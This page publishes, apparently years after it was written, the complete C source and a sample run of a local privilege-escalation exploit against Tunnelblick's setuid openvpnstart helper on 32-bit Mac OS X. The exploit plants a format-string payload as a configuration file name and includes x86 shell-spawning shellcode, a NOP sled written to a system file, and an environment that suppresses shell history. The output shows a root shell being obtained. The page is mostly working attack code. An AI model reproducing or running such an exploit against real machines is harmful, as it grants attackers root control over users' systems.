Mac OS X Tunnelblick Local Privilege Escalation (via Format String) Exploit

Table of contents

Published on:
2014-02-16 00:00:00 +0000 UTC
Last modified:
2022-08-22 10:00:56 +0000 UTC

This exploit was never publicly disclosed (until 2022).

A successful run provided output similar to this:

[*] Written 171 bytes from shellcode at 0x40f0 (43 bytes, 128 nops) to
/Library/.localized.
[*] Mapped shellcode from /Library/.localized at 9ffff000 (base 9ffff000).
[*] Options: eip to 9ffff041, offset 161.
[*] Configuration files expected at /Users/moonlight/Library/Application
Support/Tunnelblick/Configurations.
[*] Creating /Users/moonlight/Library/Application
Support/Tunnelblick/Configurations/%.40875d%206$hn%.20481d%205$hn
[*] Building environment...
[*] Ah, the gambit. High stakes, higher rewards. Sleeping for 3 seconds...
(...)
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),
401(com.apple.access_screensharing),
204(_developer),100(_lpoperator),98(_lpadmin),80(admin),61(localaccounts),
29(certusers),20(staff),
12(everyone),9(procmod),8(procview),5(operator),4(tty),3(sys),2(kmem),
1(daemon),402(com.apple.sharepoint.group.1)

Full source code is provided below:

  1/*
  2 * Copyright (C) 2010 Subreption LLC. All rights reserved.
  3 * LH
  4 */
  5
  6#include <unistd.h>
  7#include <stdio.h>
  8#include <stdlib.h>
  9#include <fcntl.h>
 10#include <dlfcn.h>
 11#include <sys/stat.h>
 12#include <sys/types.h>
 13#include <pwd.h>
 14#include <string.h>
 15#include <mach/vm_prot.h>
 16#include <mach/i386/vm_types.h>
 17#include <mach/shared_region.h>
 18
 19#define DEFAULT_TARGET_ALLOCATION	0x9ffff000UL
 20#define SYS_shared_region_map_file_np	295
 21
 22#ifdef DEBUG
 23#define dbgprintf(out, fmt, args...)		\
 24do {					\
 25	fprintf(out, fmt , ## args);		\
 26} while (0)
 27#else
 28#define dbgprintf(out, fmt, args...) { }
 29#endif
 30
 31struct target {
 32	char *name;
 33	char *short_uname;
 34	unsigned long target_write4;
 35	unsigned int offsets[2];
 36	unsigned int lengths[2];
 37};
 38
 39struct _shared_region_mapping_np {
 40	mach_vm_address_t	address;
 41	mach_vm_size_t		size;
 42	mach_vm_offset_t	file_offset;
 43	vm_prot_t		max_prot; 
 44	vm_prot_t		init_prot;
 45};
 46
 47extern int errno;
 48extern char *optarg;
 49
 50static char *openvpnstart	= "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart";
 51static char *userconfigdir	= "Library/Application Support/Tunnelblick/Configurations";
 52static char *userdirpath	= "/Users";
 53static char *adminwritefile	= "/Library/.localized";
 54
 55unsigned char sc_x86exec[] =
 56"\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd"
 57"\x80\x31\xc0\x50\xb0\x17\x6a\x7f"
 58"\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
 59"\x73\x68\x68\x2f\x62\x69\x6e\x89"
 60"\xe3\x50\x54\x54\x53\x53\xb0\x3b"
 61"\xcd\x80";
 62
 63struct target targets[] = {
 64	{
 65		"3.1beta20 (build 2132)",	/* latest beta as of Nov 29, 2010 */
 66		"Darwin 10.5.0 i386",		/* 32bit */
 67		0xbffff27cUL,			/* saved eip */
 68		{				/* %.40875d%206$hn%.20481d%205$hn */
 69			206,
 70			205
 71		},
 72		{
 73			40875,
 74			20481
 75		}
 76	},
 77	{
 78		NULL, 0
 79	}
 80};
 81
 82unsigned long map_shellcode(const char *path, unsigned long base)
 83{
 84	int err			= 0;
 85	int fd			= 0;
 86	unsigned long addr	= 0;
 87	size_t pagesize		= 0;
 88	struct stat st;
 89	struct _shared_region_mapping_np sr;
 90
 91	if ((fd = open(path, O_RDONLY)) < 0) {
 92		dbgprintf(stderr, "[!] open() failed: %s.\n", (char *) strerror(errno));
 93		return 0;
 94	}
 95
 96	if ((err = stat(path, &st)) < 0) {
 97		dbgprintf(stderr, "[!] stat() failed: %s.\n", (char *) strerror(errno));
 98		return 0;
 99	}
100
101	pagesize = getpagesize();
102
103	sr.address	= base;
104	sr.size		= pagesize;
105	sr.file_offset	= (st.st_size < pagesize) ? 0 : (st.st_size - pagesize - 10) & (~0xfff);
106	sr.max_prot	= VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
107	sr.init_prot	= VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
108	
109	if (syscall(SYS_shared_region_map_file_np, fd, 1, &sr, NULL) < 0) {
110		dbgprintf(stderr, "[!] shared_region_map_file_np() failed: %s.\n",
111				(char *) strerror(errno));
112		return 0;
113
114	}
115
116	addr = sr.address;
117
118	if (close(fd) < 0)
119		dbgprintf(stderr, "[!] close() failed: %s.\n", (char *) strerror(errno));
120
121	dbgprintf(stdout, "[*] Mapped shellcode from %s at %lx (base %lx).\n", path,
122			addr, base);
123
124	/* We, the people, have shellcode. :D */
125	return addr;
126}
127
128
129ssize_t write_shellcode(const char *path, unsigned char *buf, size_t len)
130{
131	int fd			= 0;
132	ssize_t out		= 0;
133	unsigned char *sc	= NULL;
134	size_t sclen		= 0;
135	int noplen		= 128;
136
137	if (!is_writable(path, 0)) {
138		dbgprintf(stderr, "[!] Can't write to %s, need asl log fallback!\n", path);
139		return -1;
140	}
141
142	sclen = len + noplen;
143	sc = malloc(sclen);
144	if (sc == NULL) {
145		dbgprintf(stderr, "[!] malloc() failed: %s.\n", (char *) strerror(errno));
146		return -1;
147	}
148
149	memset(sc, 0x90, sclen);
150	memcpy(sc + noplen, buf, len);	
151
152	if ((fd = open(path, O_WRONLY)) < 0) {
153		dbgprintf(stderr, "[!] open() failed: %s.\n", (char *) strerror(errno));
154		return -1;
155	}
156
157	if (ftruncate(fd, 0) < 0)
158		dbgprintf(stderr, "[!] ftruncate() failed: %s.\n", (char *) strerror(errno));
159
160	if ((out = write(fd, sc, sclen)) != sclen) {
161		dbgprintf(stderr, "[!] write() failed: %s.\n", (char *) strerror(errno));
162		return -1;
163	}
164
165	if (close(fd) < 0)
166		dbgprintf(stderr, "[!] close() failed: %s.\n", (char *) strerror(errno));
167
168	dbgprintf(stdout, "[*] Written %lu bytes from shellcode at %p (%lu bytes, %d nops) to %s.\n",
169			out, buf, len, noplen, path);
170
171	return sclen;
172}
173
174/* Could use access(2) here... but this is more handy */
175int is_writable(const char *path, int must_be_dir)
176{
177	struct stat st;
178
179	if (stat(path, &st) != 0) {
180		dbgprintf(stderr, "[!] stat() failed on %s: %s.\n", path, (char *) strerror(errno));
181		return 0;
182	}
183
184	if (must_be_dir && !(st.st_mode & S_IFDIR)) {
185		dbgprintf(stderr, "[!] %s is not a directory.\n", path);
186		return 0;
187	}
188
189	if (access(path, W_OK) < 0) {
190		dbgprintf(stderr, "[!] %s is not writable for us :(\n", path);
191		return 0;
192	}
193
194	/* We, the people, can write there. :D */
195	return 1;
196}
197
198char *build_fmtstring(unsigned long pcaddr, struct target *t)
199{
200	int i;
201	char offbuf[18];
202	char lenbuf[18];
203	size_t fmtlen	= 0;
204	char *fmtname	= NULL;
205	char omod	= '%';
206	char wmod[4]	= { '$', 'h', 'n', 0 };
207
208	/*
209	 * %.40875d%206$hn%.20481d%205$hn
210	 * [pcaddr 0-2]
211	 * [offset 2]
212	 * [half write]
213	 * [pcaddr 2-4]
214	 * [offset 1]
215	 * [half write]
216	 */
217
218
219	fmtlen = (8 * 2) + (sizeof(wmod) * 2) + (4 * 2) + 1;
220	if ((fmtname = malloc(fmtlen)) == NULL) {
221		dbgprintf(stderr, "[!] malloc() failed: %s.\n", (char *) strerror(errno));
222		return NULL;
223	}
224
225	memset(fmtname, 0, fmtlen);
226
227	for (i = 0; i < sizeof(t->offsets)/sizeof(int); i++)
228	{
229		snprintf(lenbuf, sizeof(lenbuf), "%c.%dd", omod, t->lengths[i]);
230		snprintf(offbuf, sizeof(offbuf), "%c%d", omod, t->offsets[i]);
231		strcat(fmtname, lenbuf);
232		strcat(fmtname, offbuf);
233		strcat(fmtname, wmod);
234	}
235
236	fmtname[fmtlen] = '\0';
237
238	return fmtname;
239}
240
241char *build_fmtname(uid_t uid, gid_t gid, const char *fmtname, unsigned long pcaddr, struct target *t)
242{
243	struct passwd *pwd;
244	int fd		= 0;
245	char *tmppath	= NULL;
246	size_t tmplen	= 0;
247	char *fmtpath	= NULL;
248	char *fmtstr	= NULL;
249	size_t pathlen	= 0;
250
251	if ((pwd = getpwuid(uid)) == NULL) {
252		dbgprintf(stderr, "[!] getpwuid() failed: %s.\n", (char *) strerror(errno));
253		goto bailout;
254	}
255
256	tmplen = (size_t) (strlen(userdirpath) + strlen(pwd->pw_name) + strlen(userconfigdir) + 5);
257	if (tmplen > 4096) {
258		dbgprintf(stderr, "[!] calculated path length is %lu\n.", tmplen);
259		goto bailout;
260	}
261	
262	if ((tmppath = malloc(tmplen)) == NULL) {
263		dbgprintf(stderr, "[!] malloc() failed: %s.\n", (char *) strerror(errno));
264		goto bailout;
265	}
266
267	memset(tmppath, 0, tmplen);
268	snprintf(tmppath, tmplen, "%s/%s/%s", userdirpath, pwd->pw_name, userconfigdir);
269	tmppath[tmplen] = '\0';
270	
271	dbgprintf(stdout, "[*] Configuration files expected at %s.\n", tmppath);
272	
273	if (!is_writable(tmppath, 1)) {
274		goto bailout;
275	}
276	
277	if (fmtname == NULL) {
278		fmtstr = build_fmtstring(pcaddr, t);
279		if (fmtstr == NULL) {
280			dbgprintf(stderr, "[!] failed to build fmt string payload.\n");
281			goto bailout;
282		}
283	} else {
284		fmtstr = (char *) fmtname;
285	}
286
287	pathlen = strlen(tmppath) + strlen(fmtstr) + 2;
288	if ((fmtpath = malloc(pathlen)) == NULL) {
289		dbgprintf(stderr, "[!] malloc() for fmtpath failed: %s.\n", (char *) strerror(errno));
290		goto bailout;
291	}
292
293	strcpy(fmtpath, tmppath);
294	strcat(fmtpath, "/");
295	strcat(fmtpath, fmtstr);
296
297	dbgprintf(stdout, "[*] Creating %s\n", (char *) fmtpath);
298
299	unlink(fmtpath);
300
301	if ((fd = open(fmtpath, O_RDWR|O_CREAT|O_TRUNC|O_NOFOLLOW)) < 0) {
302		dbgprintf(stderr, "[!] Can't create payload path.\n");
303		dbgprintf(stderr, "[!] open() failed: %s.\n", (char *) strerror(errno));
304		goto bailout;
305	}
306
307	if (close(fd) < 0)
308		dbgprintf(stderr, "[!] close() failed: %s.\n", (char *) strerror(errno));
309
310	memset(tmppath, 0, tmplen);
311	free(tmppath);
312
313	memset(fmtpath, 0, pathlen);
314	free(fmtpath);
315	
316	return fmtstr;
317	
318bailout:
319	if (tmppath != NULL) {
320		memset(tmppath, 0, tmplen);
321		free(tmppath);
322	}
323
324	if ((fmtstr != NULL) && (fmtname == NULL)) {
325		memset(fmtstr, 0, strlen(fmtstr));
326		free(fmtstr);
327	}
328
329	if (fmtpath != NULL) {
330		memset(fmtpath, 0, pathlen);
331		free(fmtpath);
332	}
333
334	exit(EXIT_FAILURE);
335}
336
337int main(int argc, char **argv)
338{
339	struct stat filest;
340	int fd			= 0;
341	int err			= 0;
342	int c			= -1;
343	int offset		= 161;
344	unsigned long pcbase	= DEFAULT_TARGET_ALLOCATION;
345	unsigned long pcaddr	= 0;
346	ssize_t scwritten	= 0;
347	char *fmtname		= NULL;
348	char *luckyenv		= NULL;
349	char *wfile		= adminwritefile;
350	struct target *zergrush	= &targets[0];
351	char *args[]		= { openvpnstart, "start", NULL, "1056", NULL };
352	char *envp[]		= {
353		"HISTFILE=/dev/null",
354		"PATH=/opt/local/bin:/opt/local/sbin:/usr/bin:/bin:"
355			"/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin",
356		"HISTSIZE=1",
357		"TERM=xterm-color",
358		NULL,
359		NULL
360	};
361
362	while ((c = getopt(argc, argv, "a:o:f:w:p:e:")) != -1) {
363		switch (c) {
364			case 'o':
365				offset = atoi(optarg);
366				break;
367			case 'a':
368				pcaddr = strtoul(optarg, NULL, 16);
369				break;
370			case 'f':
371				fmtname= optarg;
372				break;
373			case 'e':
374				luckyenv = optarg;
375				break;
376			case 'w':
377				wfile = optarg;
378				break;
379			case 'p':
380				pcbase = strtoul(optarg, NULL, 16);
381				break;
382			default:
383				break;
384		}
385	}
386
387	if ((err = stat(openvpnstart, &filest)) < 0) {
388		dbgprintf(stderr, "[!] stat() failed: %s.\n", (char *) strerror(errno));
389		exit(EXIT_FAILURE);
390	}
391
392	if (!((filest.st_uid == 0) && (filest.st_mode & S_ISUID))) {
393		dbgprintf(stderr, "[!] %s doesn't have the setuid-bit set or is not owned by root\n",
394				openvpnstart);
395		exit(EXIT_FAILURE);
396	}
397
398	if (!pcaddr) {
399		/* Map shellcode at shared region trying all methods available */
400		if ((scwritten = write_shellcode(wfile, (unsigned char *) &sc_x86exec,
401						sizeof(sc_x86exec))) < sizeof(sc_x86exec))
402		{
403			dbgprintf(stderr, "[!] Failed to write shellcode to file, falling back to ASL log...\n");
404			/* redacted :> */
405			exit(EXIT_FAILURE);
406		}
407
408		pcaddr = map_shellcode(wfile, pcbase);
409		if (!pcaddr) {
410			dbgprintf(stderr, "[!] Failed to map shellcode file. :(\n");
411			exit(EXIT_FAILURE);
412		}
413
414		/* 0x9ffff041 - nop sled */
415		pcaddr += 65;
416	}
417		
418
419	dbgprintf(stdout, "[*] Options: eip to %lx, offset %d.\n", pcaddr, offset);
420
421	fmtname = build_fmtname(getuid(), getgid(), fmtname, pcaddr, zergrush);
422	args[2] = fmtname;
423
424	if (luckyenv == NULL) {
425		dbgprintf(stdout, "[*] Building environment...\n");
426
427		luckyenv = malloc(64);
428		if (luckyenv == NULL) {
429			dbgprintf(stderr, "[!] malloc() failed: %s.\n", (char *) strerror(errno));
430			exit(EXIT_FAILURE);
431		}
432
433		/*
434		 * LUCK=II".pack("L", 0xbffff27c).pack("L", 0xbffff27c+2)."ZZZZ"
435		 */
436		unsigned long taddr = zergrush->target_write4;
437		memset(luckyenv, 64, 0);
438		sprintf(luckyenv, "LUCK=II");
439		memcpy(luckyenv + 7, &taddr, sizeof(unsigned long));
440		taddr += 2;
441		memcpy(luckyenv + 11, &taddr, sizeof(unsigned long));
442		strcat(luckyenv, "ZZZZ");
443	}
444
445	envp[4] = luckyenv;
446
447	dbgprintf(stdout,"[*] Ah, the gambit. High stakes, higher rewards. Sleeping for 3 seconds...\n");
448	sleep(3);
449
450	execve(openvpnstart, args, envp);
451
452	/* never reached */
453	memset(fmtname, 0, strlen(fmtname));
454	free(fmtname);
455
456	return 0;
457}